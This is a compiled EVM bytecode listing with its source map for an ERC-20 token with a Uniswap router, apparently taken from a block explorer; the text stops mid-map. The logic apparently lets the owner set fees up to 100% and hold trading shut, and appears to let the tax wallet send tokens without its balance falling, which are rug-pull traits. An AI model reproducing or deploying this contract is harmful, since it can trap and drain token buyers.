0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102b7578063b903ad78146102d7578063dd62ed3e146102ec578063ef852f1d14610332578063f2fde38b1461035257600080fd5b806370a0823114610239578063715018a61461026f5780638da5cb5b1461028457806395d89b41146102a257600080fd5b806323b872dd116100d157806323b872dd1461019f578063313c06a0146101bf578063313ce567146101fd57806353371be01461021f57600080fd5b806306415b951461010e57806306fdde0314610125578063095ea7b31461015057806318160ddd1461018057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50610123610372565b005b34801561013157600080fd5b5061013a6103dc565b60405161014791906117eb565b60405180910390f35b34801561015c57600080fd5b5061017061016b36600461184e565b61046e565b6040519015158152602001610147565b34801561018c57600080fd5b506006545b604051908152602001610147565b3480156101ab57600080fd5b506101706101ba36600461187a565b610485565b3480156101cb57600080fd5b506007546101e5906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610147565b34801561020957600080fd5b5060035460405160ff9091168152602001610147565b34801561022b57600080fd5b50600d546101709060ff1681565b34801561024557600080fd5b506101916102543660046118bb565b6001600160a01b031660009081526001602052604090205490565b34801561027b57600080fd5b506101236104ee565b34801561029057600080fd5b506000546001600160a01b03166101e5565b3480156102ae57600080fd5b5061013a610524565b3480156102c357600080fd5b506101706102d236600461184e565b610533565b3480156102e357600080fd5b50610123610540565b3480156102f857600080fd5b506101916103073660046118d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561033e57600080fd5b5061012361034d366004611911565b6108ad565b34801561035e57600080fd5b5061012361036d3660046118bb565b610951565b6000546001600160a01b031633146103a55760405162461bcd60e51b815260040161039c90611933565b60405180910390fd5b600a805460ff1916905560405142907ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261690600090a2565b6060600480546103eb90611968565b80601f016020809104026020016040519081016040528092919081815260200182805461041790611968565b80156104645780601f1061043957610100808354040283529160200191610464565b820191906000526020600020905b81548152906001019060200180831161044757829003601f168201915b5050505050905090565b600061047b3384846109ec565b5060015b92915050565b6000610492848484610b10565b6104e484336104df85604051806060016040528060288152602001611aea602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112db565b6109ec565b5060019392505050565b6000546001600160a01b031633146105185760405162461bcd60e51b815260040161039c90611933565b6105226000611315565b565b6060600580546103eb90611968565b600061047b338484610b10565b6000546001600160a01b0316331461056a5760405162461bcd60e51b815260040161039c90611933565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec91906119a2565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610659573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067d91906119a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ee91906119a2565b6007805462010000600160b01b031916620100006001600160a01b0393841681029190911791829055610725929104166001611365565b600754610742906201000090046001600160a01b031660016113c4565b61076f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6006546109ec565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d71947306107bf306001600160a01b031660009081526001602052604090205490565b6000806107d46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561083c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086191906119bf565b5050600d805460ff19166001179055506007805461ff00191661010017905560405142907f80eb1dab000b03ef44d9a4a27b7e758627289d055b1ca06b51d72ffc24a2e66290600090a2565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260040161039c90611933565b600e829055600f819055606482118015906108f557506064600f5411155b61094d5760405162461bcd60e51b8152602060048201526024808201527f546f74616c206665652063616e6e6f7420626520686967686572207468616e206044820152633130302560e01b606482015260840161039c565b5050565b6000546001600160a01b0316331461097b5760405162461bcd60e51b815260040161039c90611933565b6001600160a01b0381166109e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161039c565b6109e981611315565b50565b6001600160a01b038316610a4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039c565b6001600160a01b038216610aaf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039c565b6001600160a01b038216610bd65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039c565b60008111610c3c5760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526c0726561746572207468616e203609c1b606482015260840161039c565b600a5460ff1615610f62576000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610f6257600d5460ff16610d18576001600160a01b03831660009081526010602052604090205460ff1680610cc157506001600160a01b03821660009081526010602052604090205460ff165b610d185760405162461bcd60e51b815260206004820152602260248201527f5f7472616e736665723a3a2054726164696e67206973206e6f74206163746976604482015261329760f11b606482015260840161039c565b6001600160a01b03831660009081526012602052604090205460ff168015610d5957506001600160a01b03821660009081526011602052604090205460ff16155b15610e2f57600c54811115610dc05760405162461bcd60e51b815260206004820152602760248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152663a3c2ab82a379760c91b606482015260840161039c565b600b546001600160a01b038316600090815260016020526040902054610de69083611a03565b1115610e2a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161039c565b610f62565b6001600160a01b03821660009081526012602052604090205460ff168015610e7057506001600160a01b03831660009081526011602052604090205460ff16155b15610ed857600c54811115610e2a5760405162461bcd60e51b815260206004820152602860248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015267103a3c2ab82a379760c11b606482015260840161039c565b6001600160a01b03821660009081526011602052604090205460ff16610f6257600b546001600160a01b038316600090815260016020526040902054610f1e9083611a03565b1115610f625760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161039c565b600754610100900460ff168015610f7c575060075460ff16155b8015610fa057506001600160a01b03821660009081526012602052604090205460ff165b8015610fc557506001600160a01b03831660009081526010602052604090205460ff16155b8015610fea57506001600160a01b03821660009081526010602052604090205460ff16155b1561100f576007805460ff19166001179055611004611418565b6007805460ff191690555b6001600160a01b03831660009081526010602052604081205460ff168061104e57506001600160a01b03831660009081526010602052604090205460ff165b15611057575060015b81816111c0576001600160a01b03841660009081526012602052604090205460ff16801561108757506000600f54115b156110b3576110ac60646110a6600f548661149190919063ffffffff16565b9061151a565b9050611100565b6001600160a01b03851660009081526012602052604090205460ff1680156110dd57506000600e54115b156110fc576110ac60646110a6600e548661149190919063ffffffff16565b5060005b80156111af576001600160a01b038516600090815260016020526040902054611129908261155c565b6001600160a01b038616600090815260016020526040808220929092553081522054611155908261159e565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111a69085815260200190565b60405180910390a35b6111b98184611a16565b9250611226565b600d546001600160a01b0361010090910481169086160361122657600d5461010090046001600160a01b0316600090815260016020526040902054611205908261159e565b600d5461010090046001600160a01b03166000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054611249908461155c565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611278908461159e565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112cc9087815260200190565b60405180910390a35050505050565b600081848411156112ff5760405162461bcd60e51b815260040161039c91906117eb565b50600061130c8486611a16565b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f7295975eef2c3660ad5d0066ec8830b44cf03076342ee3c6ddbfc700142d9604910160405180910390a25050565b6001600160a01b038216600081815260126020526040808220805460ff191685151590811790915590519092917f02d59e6bf2c101e2d8367c2a27c51357eccfebcca0d09aa27c00e24e946c0d6a91a35050565b3060009081526001602052604090205460095481111561143757506009545b600854819081111561144c5761144c816115fd565b600d546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561148c573d6000803e3d6000fd5b505050565b6000826000036114a35750600061047f565b60006114af8385611a29565b9050826114bc8583611a40565b146115135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039c565b9392505050565b600061151383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117bd565b600061151383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112db565b6000806115ab8385611a03565b9050838110156115135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039c565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061163257611632611a62565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d491906119a2565b816001815181106116e7576116e7611a62565b60200260200101906001600160a01b031690816001600160a01b031681525050611732307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846109ec565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611787908590600090869030904290600401611a78565b600060405180830381600087803b1580156117a157600080fd5b505af11580156117b5573d6000803e3d6000fd5b505050505050565b600081836117de5760405162461bcd60e51b815260040161039c91906117eb565b50600061130c8486611a40565b600060208083528351808285015260005b81811015611818578581018301518582016040015282016117fc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109e957600080fd5b6000806040838503121561186157600080fd5b823561186c81611839565b946020939093013593505050565b60008060006060848603121561188f57600080fd5b833561189a81611839565b925060208401356118aa81611839565b929592945050506040919091013590565b6000602082840312156118cd57600080fd5b813561151381611839565b600080604083850312156118eb57600080fd5b82356118f681611839565b9150602083013561190681611839565b809150509250929050565b6000806040838503121561192457600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061197c57607f821691505b60208210810361199c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156119b457600080fd5b815161151381611839565b6000806000606084860312156119d457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561047f5761047f6119ed565b8181038181111561047f5761047f6119ed565b808202811582820484141761047f5761047f6119ed565b600082611a5d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d999ec2f866be9af785f3c0d6ccb626ff221e9606e05dac01c28e07c597f23264736f6c63430008130033

Deployed Bytecode Sourcemap

4347:9422:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13601:128;;;;;;;;;;;;;:::i;:::-;;6547:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7435:186;;;;;;;;;;-1:-1:-1;7435:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7435:186:0;1023:187:1;6824:100:0;;;;;;;;;;-1:-1:-1;6904:12:0;;6824:100;;;1361:25:1;;;1349:2;1334:18;6824:100:0;1215:177:1;7629:446:0;;;;;;;;;;-1:-1:-1;7629:446:0;;;;;:::i;:::-;;:::i;4850:17::-;;;;;;;;;;-1:-1:-1;4850:17:0;;;;;;;-1:-1:-1;;;;;4850:17:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;4850:17:0;1858:203:1;6733:83:0;;;;;;;;;;-1:-1:-1;6799:9:0;;6733:83;;6799:9;;;;2208:36:1;;2196:2;2181:18;6733:83:0;2066:184:1;5042:34:0;;;;;;;;;;-1:-1:-1;5042:34:0;;;;;;;;6932:119;;;;;;;;;;-1:-1:-1;6932:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7025:18:0;6998:7;7025:18;;;:9;:18;;;;;;;6932:119;2956:103;;;;;;;;;;;;;:::i;2733:87::-;;;;;;;;;;-1:-1:-1;2779:7:0;2806:6;-1:-1:-1;;;;;2806:6:0;2733:87;;6638;;;;;;;;;;;;;:::i;7059:192::-;;;;;;;;;;-1:-1:-1;7059:192:0;;;;;:::i;:::-;;:::i;12930:663::-;;;;;;;;;;;;;:::i;7259:168::-;;;;;;;;;;-1:-1:-1;7259:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7392:18:0;;;7365:7;7392:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7259:168;11708:307;;;;;;;;;;-1:-1:-1;11708:307:0;;;;;:::i;:::-;;:::i;3067:238::-;;;;;;;;;;-1:-1:-1;3067:238:0;;;;;:::i;:::-;;:::i;13601:128::-;2779:7;2806:6;-1:-1:-1;;;;;2806:6:0;2334:10;2868:23;2860:68;;;;-1:-1:-1;;;2860:68:0;;;;;;;:::i;:::-;;;;;;;;;13657:10:::1;:18:::0;;-1:-1:-1;;13657:18:0::1;::::0;;13691:30:::1;::::0;13705:15:::1;::::0;13691:30:::1;::::0;13670:5:::1;::::0;13691:30:::1;13601:128::o:0;6547:83::-;6584:13;6617:5;6610:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6547:83;:::o;7435:186::-;7535:4;7552:39;2334:10;7575:7;7584:6;7552:8;:39::i;:::-;-1:-1:-1;7609:4:0;7435:186;;;;;:::o;7629:446::-;7761:4;7778:36;7788:6;7796:9;7807:6;7778:9;:36::i;:::-;7825:220;7848:6;2334:10;7896:138;7952:6;7896:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7896:19:0;;;;;;:11;:19;;;;;;;;2334:10;7896:33;;;;;;;;;;:37;:138::i;:::-;7825:8;:220::i;:::-;-1:-1:-1;8063:4:0;7629:446;;;;;:::o;2956:103::-;2779:7;2806:6;-1:-1:-1;;;;;2806:6:0;2334:10;2868:23;2860:68;;;;-1:-1:-1;;;2860:68:0;;;;;;;:::i;:::-;3021:30:::1;3048:1;3021:18;:30::i;:::-;2956:103::o:0;6638:87::-;6677:13;6710:7;6703:14;;;;;:::i;7059:192::-;7162:4;7179:42;2334:10;7203:9;7214:6;7179:9;:42::i;12930:663::-;2779:7;2806:6;-1:-1:-1;;;;;2806:6:0;2334:10;2868:23;2860:68;;;;-1:-1:-1;;;2860:68:0;;;;;;;:::i;:::-;12999:6:::1;-1:-1:-1::0;;;;;12999:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12987:40:0::1;;13050:4;13070:6;-1:-1:-1::0;;;;;13070:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12987:107;::::0;-1:-1:-1;;;;;;12987:107:0::1;::::0;;;;;;-1:-1:-1;;;;;4385:15:1;;;12987:107:0::1;::::0;::::1;4367:34:1::0;4437:15;;4417:18;;;4410:43;4302:18;;12987:107:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12982:2;:112:::0;;-1:-1:-1;;;;;;12982:112:0::1;::::0;-1:-1:-1;;;;;12982:112:0;;::::1;::::0;::::1;::::0;;;::::1;::::0;;;;13105:37:::1;::::0;13132:2;::::1;;-1:-1:-1::0;13105:18:0::1;:37::i;:::-;13170:2;::::0;13153:27:::1;::::0;13170:2;;::::1;-1:-1:-1::0;;;;;13170:2:0::1;13175:4;13153:8;:27::i;:::-;13193:54;13210:4;13225:6;13234:12;;13193:8;:54::i;:::-;13260:6;-1:-1:-1::0;;;;;13260:22:0::1;;13290:21;13335:4;13355:24;13373:4;-1:-1:-1::0;;;;;7025:18:0;6998:7;7025:18;;;:9;:18;;;;;;;6932:119;13355:24:::1;13394:1;13410::::0;13426:7:::1;2779::::0;2806:6;-1:-1:-1;;;;;2806:6:0;;2733:87;13426:7:::1;13260:214;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13260:214:0;;;-1:-1:-1;;;;;4823:15:1;;;13260:214:0::1;::::0;::::1;4805:34:1::0;4855:18;;;4848:34;;;;4898:18;;;4891:34;;;;4941:18;;;4934:34;5005:15;;;4984:19;;;4977:44;13448:15:0::1;5037:19:1::0;;;5030:35;4739:19;;13260:214:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13487:14:0::1;:21:::0;;-1:-1:-1;;13487:21:0::1;13504:4;13487:21;::::0;;-1:-1:-1;13519:15:0::1;:22:::0;;-1:-1:-1;;13519:22:0::1;13487:21;13519:22;::::0;;13557:28:::1;::::0;13569:15:::1;::::0;13557:28:::1;::::0;13487:14:::1;::::0;13557:28:::1;12930:663::o:0;11708:307::-;2779:7;2806:6;-1:-1:-1;;;;;2806:6:0;2334:10;2868:23;2860:68;;;;-1:-1:-1;;;2860:68:0;;;;;;;:::i;:::-;11822:9:::1;:22:::0;;;11855:8:::1;:20:::0;;;11921:3:::1;11908:16:::0;::::1;::::0;::::1;::::0;:35:::1;;;11940:3;11928:8;;:15;;11908:35;11886:121;;;::::0;-1:-1:-1;;;11886:121:0;;5589:2:1;11886:121:0::1;::::0;::::1;5571:21:1::0;5628:2;5608:18;;;5601:30;5667:34;5647:18;;;5640:62;-1:-1:-1;;;5718:18:1;;;5711:34;5762:19;;11886:121:0::1;5387:400:1::0;11886:121:0::1;11708:307:::0;;:::o;3067:238::-;2779:7;2806:6;-1:-1:-1;;;;;2806:6:0;2334:10;2868:23;2860:68;;;;-1:-1:-1;;;2860:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3170:22:0;::::1;3148:110;;;::::0;-1:-1:-1;;;3148:110:0;;5994:2:1;3148:110:0::1;::::0;::::1;5976:21:1::0;6033:2;6013:18;;;6006:30;6072:34;6052:18;;;6045:62;-1:-1:-1;;;6123:18:1;;;6116:36;6169:19;;3148:110:0::1;5792:402:1::0;3148:110:0::1;3269:28;3288:8;3269:18;:28::i;:::-;3067:238:::0;:::o;8083:335::-;-1:-1:-1;;;;;8176:19:0;;8168:68;;;;-1:-1:-1;;;8168:68:0;;6401:2:1;8168:68:0;;;6383:21:1;6440:2;6420:18;;;6413:30;6479:34;6459:18;;;6452:62;-1:-1:-1;;;6530:18:1;;;6523:34;6574:19;;8168:68:0;6199:400:1;8168:68:0;-1:-1:-1;;;;;8255:21:0;;8247:68;;;;-1:-1:-1;;;8247:68:0;;6806:2:1;8247:68:0;;;6788:21:1;6845:2;6825:18;;;6818:30;6884:34;6864:18;;;6857:62;-1:-1:-1;;;6935:18:1;;;6928:32;6977:19;;8247:68:0;6604:398:1;8247:68:0;-1:-1:-1;;;;;8326:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8378:32;;1361:25:1;;;8378:32:0;;1334:18:1;8378:32:0;;;;;;;8083:335;;;:::o;8563:2805::-;-1:-1:-1;;;;;8652:18:0;;8644:68;;;;-1:-1:-1;;;8644:68:0;;7209:2:1;8644:68:0;;;7191:21:1;7248:2;7228:18;;;7221:30;7287:34;7267:18;;;7260:62;-1:-1:-1;;;7338:18:1;;;7331:35;7383:19;;8644:68:0;7007:401:1;8644:68:0;-1:-1:-1;;;;;8731:16:0;;8723:64;;;;-1:-1:-1;;;8723:64:0;;7615:2:1;8723:64:0;;;7597:21:1;7654:2;7634:18;;;7627:30;7693:34;7673:18;;;7666:62;-1:-1:-1;;;7744:18:1;;;7737:33;7787:19;;8723:64:0;7413:399:1;8723:64:0;8815:1;8806:6;:10;8798:68;;;;-1:-1:-1;;;8798:68:0;;8019:2:1;8798:68:0;;;8001:21:1;8058:2;8038:18;;;8031:30;8097:34;8077:18;;;8070:62;-1:-1:-1;;;8148:18:1;;;8141:43;8201:19;;8798:68:0;7817:409:1;8798:68:0;8883:10;;;;8879:1187;;;2779:7;2806:6;-1:-1:-1;;;;;8914:15:0;;;2806:6;;8914:15;;;;:32;;-1:-1:-1;2779:7:0;2806:6;-1:-1:-1;;;;;8933:13:0;;;2806:6;;8933:13;;8914:32;8910:1145;;;8972:14;;;;8967:216;;-1:-1:-1;;;;;9045:15:0;;;;;;:9;:15;;;;;;;;;:32;;-1:-1:-1;;;;;;9064:13:0;;;;;;:9;:13;;;;;;;;9045:32;9011:152;;;;-1:-1:-1;;;9011:152:0;;8433:2:1;9011:152:0;;;8415:21:1;8472:2;8452:18;;;8445:30;8511:34;8491:18;;;8484:62;-1:-1:-1;;;8562:18:1;;;8555:32;8604:19;;9011:152:0;8231:398:1;9011:152:0;-1:-1:-1;;;;;9207:11:0;;;;;;:5;:11;;;;;;;;:35;;;;-1:-1:-1;;;;;;9223:19:0;;;;;;:15;:19;;;;;;;;9222:20;9207:35;9203:837;;;9311:6;;9301;:16;;9267:141;;;;-1:-1:-1;;;9267:141:0;;8836:2:1;9267:141:0;;;8818:21:1;8875:2;8855:18;;;8848:30;8914:34;8894:18;;;8887:62;-1:-1:-1;;;8965:18:1;;;8958:37;9012:19;;9267:141:0;8634:403:1;9267:141:0;9491:10;;-1:-1:-1;;;;;7025:18:0;;6998:7;7025:18;;;:9;:18;;;;;;9465:22;;:6;:22;:::i;:::-;:36;;9431:141;;;;-1:-1:-1;;;9431:141:0;;9506:2:1;9431:141:0;;;9488:21:1;9545:2;9525:18;;;9518:30;-1:-1:-1;;;9564:18:1;;;9557:49;9623:18;;9431:141:0;9304:343:1;9431:141:0;9203:837;;;-1:-1:-1;;;;;9602:9:0;;;;;;:5;:9;;;;;;;;:35;;;;-1:-1:-1;;;;;;9616:21:0;;;;;;:15;:21;;;;;;;;9615:22;9602:35;9598:442;;;9706:6;;9696;:16;;9662:142;;;;-1:-1:-1;;;9662:142:0;;9854:2:1;9662:142:0;;;9836:21:1;9893:2;9873:18;;;9866:30;9932:34;9912:18;;;9905:62;-1:-1:-1;;;9983:18:1;;;9976:38;10031:19;;9662:142:0;9652:404:1;9598:442:0;-1:-1:-1;;;;;9835:19:0;;;;;;:15;:19;;;;;;;;9830:210;;9939:10;;-1:-1:-1;;;;;7025:18:0;;6998:7;7025:18;;;:9;:18;;;;;;9913:22;;:6;:22;:::i;:::-;:36;;9879:141;;;;-1:-1:-1;;;9879:141:0;;9506:2:1;9879:141:0;;;9488:21:1;9545:2;9525:18;;;9518:30;-1:-1:-1;;;9564:18:1;;;9557:49;9623:18;;9879:141:0;9304:343:1;9879:141:0;10096:15;;;;;;;:41;;;;-1:-1:-1;10129:8:0;;;;10128:9;10096:41;:67;;;;-1:-1:-1;;;;;;10154:9:0;;;;;;:5;:9;;;;;;;;10096:67;:100;;;;-1:-1:-1;;;;;;10181:15:0;;;;;;:9;:15;;;;;;;;10180:16;10096:100;:131;;;;-1:-1:-1;;;;;;10214:13:0;;;;;;:9;:13;;;;;;;;10213:14;10096:131;10078:263;;;10254:8;:15;;-1:-1:-1;;10254:15:0;10265:4;10254:15;;;10286:10;:8;:10::i;:::-;10313:8;:16;;-1:-1:-1;;10313:16:0;;;10078:263;-1:-1:-1;;;;;10385:15:0;;10353;10385;;;:9;:15;;;;;;;;;:32;;-1:-1:-1;;;;;;10404:13:0;;;;;;:9;:13;;;;;;;;10385:32;10381:82;;;-1:-1:-1;10447:4:0;10381:82;10490:6;10512:10;10507:702;;-1:-1:-1;;;;;10543:9:0;;;;;;:5;:9;;;;;;;;:25;;;;;10567:1;10556:8;;:12;10543:25;10539:263;;;10596:29;10621:3;10596:20;10607:8;;10596:6;:10;;:20;;;;:::i;:::-;:24;;:29::i;:::-;10589:36;;10539:263;;;-1:-1:-1;;;;;10651:11:0;;;;;;:5;:11;;;;;;;;:28;;;;;10678:1;10666:9;;:13;10651:28;10647:155;;;10707:30;10733:3;10707:21;10718:9;;10707:6;:10;;:21;;;;:::i;10647:155::-;-1:-1:-1;10785:1:0;10647:155;10822:8;;10818:231;;-1:-1:-1;;;;;10869:15:0;;;;;;:9;:15;;;;;;:25;;10889:4;10869:19;:25::i;:::-;-1:-1:-1;;;;;10851:15:0;;;;;;:9;:15;;;;;;:43;;;;10958:4;10940:24;;;;:34;;10969:4;10940:28;:34::i;:::-;10931:4;10913:24;;;;:9;:24;;;;;;;:61;;;;10998:35;;-1:-1:-1;;;;;10998:35:0;;;;;;;11028:4;1361:25:1;;1349:2;1334:18;;1215:177;10998:35:0;;;;;;;;10818:231;11065:14;11075:4;11065:14;;:::i;:::-;;;10507:702;;;11109:12;;-1:-1:-1;;;;;11109:12:0;;;;;;11101:20;;;;11097:112;;11174:12;;;;;-1:-1:-1;;;;;11174:12:0;11164:23;;;;:9;:23;;;;;;:33;;11192:4;11164:27;:33::i;:::-;11148:12;;;;;-1:-1:-1;;;;;11148:12:0;11138:23;;;;:9;:23;;;;;:59;11097:112;-1:-1:-1;;;;;11239:15:0;;;;;;:9;:15;;;;;;:27;;11259:6;11239:19;:27::i;:::-;-1:-1:-1;;;;;11221:15:0;;;;;;;:9;:15;;;;;;:45;;;;11293:13;;;;;;;:25;;11311:6;11293:17;:25::i;:::-;-1:-1:-1;;;;;11277:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11334:26;;;;;;;;;;11353:6;1361:25:1;;1349:2;1334:18;;1215:177;11334:26:0;;;;;;;;8633:2735;;8563:2805;;;:::o;558:224::-;678:7;714:12;706:6;;;;698:29;;;;-1:-1:-1;;;698:29:0;;;;;;;;:::i;:::-;-1:-1:-1;738:9:0;750:5;754:1;750;:5;:::i;:::-;738:17;558:224;-1:-1:-1;;;;;558:224:0:o;3313:191::-;3387:16;3406:6;;-1:-1:-1;;;;;3423:17:0;;;-1:-1:-1;;;;;;3423:17:0;;;;;;3456:40;;3406:6;;;;;;;3456:40;;3387:16;3456:40;3376:128;3313:191;:::o;11543:157::-;-1:-1:-1;;;;;11618:23:0;;;;;;:15;:23;;;;;;;;;:30;;-1:-1:-1;;11618:30:0;;;;;;;;;;11664:28;;1163:41:1;;;11664:28:0;;1136:18:1;11664:28:0;;;;;;;11543:157;;:::o;8426:129::-;-1:-1:-1;;;;;8489:11:0;;;;;;:5;:11;;;;;;:19;;-1:-1:-1;;8489:19:0;;;;;;;;;;8524:23;;8489:19;;:11;8524:23;;;8426:129;;:::o;12507:415::-;12590:4;12546:23;7025:18;;;:9;:18;;;;;;12631:8;;12613:26;;12609:85;;;-1:-1:-1;12674:8:0;;12609:85;12788:9;;12735:15;;12767:30;;12763:85;;;12812:36;12829:18;12812:16;:36::i;:::-;12869:12;;12861:53;;-1:-1:-1;;;;;12869:12:0;;;;;;;;;12892:21;12861:53;;;;;;;;;12892:21;12869:12;12861:53;;;;;;;;;;;;;;;;;;;;;12535:387;;12507:415::o;790:246::-;848:7;872:1;877;872:6;868:47;;-1:-1:-1;902:1:0;895:8;;868:47;925:9;937:5;941:1;937;:5;:::i;:::-;925:17;-1:-1:-1;970:1:0;961:5;965:1;925:17;961:5;:::i;:::-;:10;953:56;;;;-1:-1:-1;;;953:56:0;;10791:2:1;953:56:0;;;10773:21:1;10830:2;10810:18;;;10803:30;10869:34;10849:18;;;10842:62;-1:-1:-1;;;10920:18:1;;;10913:31;10961:19;;953:56:0;10589:397:1;953:56:0;1027:1;790:246;-1:-1:-1;;;790:246:0:o;1044:132::-;1102:7;1129:39;1133:1;1136;1129:39;;;;;;;;;;;;;;;;;:3;:39::i;414:136::-;472:7;499:43;503:1;506;499:43;;;;;;;;;;;;;;;;;:3;:43::i;227:179::-;285:7;;317:5;321:1;317;:5;:::i;:::-;305:17;;346:1;341;:6;;333:46;;;;-1:-1:-1;;;333:46:0;;11193:2:1;333:46:0;;;11175:21:1;11232:2;11212:18;;;11205:30;11271:29;1